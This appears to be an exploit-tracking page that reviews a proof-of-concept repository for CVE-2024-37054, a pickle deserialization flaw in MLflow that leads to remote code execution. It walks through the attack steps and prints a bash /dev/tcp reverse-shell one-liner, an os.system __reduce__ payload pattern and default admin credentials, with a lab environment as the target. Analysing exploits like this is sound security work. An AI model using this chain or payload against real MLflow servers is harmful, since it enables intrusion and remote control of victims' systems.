jimmexploit/CVE-2024-37054-PoC
PoC files
4 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
Full exploit for CVE-2024-37054 targeting MLflow. The code registers an account, trains a model, uploads a malicious pickle payload via the MLflow artifact API, and triggers deserialization to achieve remote code execution via a reverse shell.
Backdoor review
No backdoor observed in reviewed code
The supplied evidence is a proof-of-concept exploit for CVE-2024-37054, a deserialization vulnerability in MLflow. The code builds a malicious pickle payload that executes a reverse shell when loaded by the vulnerable MLflow server. All behavior is consistent with the stated exploit objective: triggering arbitrary code execution on the target MLflow instance. No concealed backdoor, unrelated payload, or operator-directed harm beyond the advertised exploit was observed.
Classification basis and observed behavior
Classification basis
The artifact contains a complete, multi-step exploit that actively exercises the CVE-2024-37054 vulnerability to achieve remote code execution. It includes account registration, payload generation, artifact upload, and trigger mechanisms, going beyond mere detection or scanning.
shell.py:1-185README.MD:3-4Requirements
- Network access to a target MLflow instance and associated web application.
shell.py:26-27 - Valid credentials for the MLflow API (default admin:password) or ability to register an account on the target application.
shell.py:31-32shell.py:40-76 - A listener (e.g., netcat) to receive the reverse shell connection.
shell.py:181
Observed behavior
- Registers a new user account on the target web application and retrieves a session cookie.
shell.py:40-76 - Uploads a CSV file to trigger model training and retrieves the MLflow run_id.
shell.py:78-116 - Constructs a malicious pickle payload that executes a bash reverse shell command upon deserialization.
shell.py:118-128 - Uploads the malicious pickle to the MLflow artifact store, overwriting the model's python_model.pkl.
shell.py:130-146 - Triggers the /predict endpoint on the target application, causing the malicious model to be loaded and the reverse shell to execute.
shell.py:148-159
Behaviors behind the backdoor verdict
Observables
- Reverse Shell Payload
- bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'The exploit constructs a reverse shell command using attacker-supplied LHOST and LPORT, which is the expected behavior for a CVE-2024-37054 PoC.
shell.py:120malicious_payload.py:13 - Pickle Deserialization Exploit
- cloudpickle.dumps(Exploit()) with __reduce__ returning (os.system, (cmd,))The malicious pickle payload is designed to execute os.system with the reverse shell command upon deserialization, directly implementing the CVE-2024-37054 vulnerability.
shell.py:122-126malicious_payload.py:15-17 - Target Interaction
- HTTP requests to smarthire.htb and models.smarthire.htb for registration, login, training, artifact upload, and prediction triggerThe exploit interacts with the target application and MLflow server to upload the malicious model and trigger deserialization, all within the scope of the described exploit chain.
shell.py:50-55shell.py:64-69shell.py:84-88shell.py:136-141shell.py:154-158
What the analysis did not establish
- Evidence is limited to the source code; no runtime behavior or network traffic was observed.
- The exploit targets a specific lab environment (HTB SmartHire) and may require adaptation for other targets.
- Only the readable text files were reviewed; no binary files were present. The analysis assumes the provided source code is the complete artifact and that no external dependencies introduce hidden behavior.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.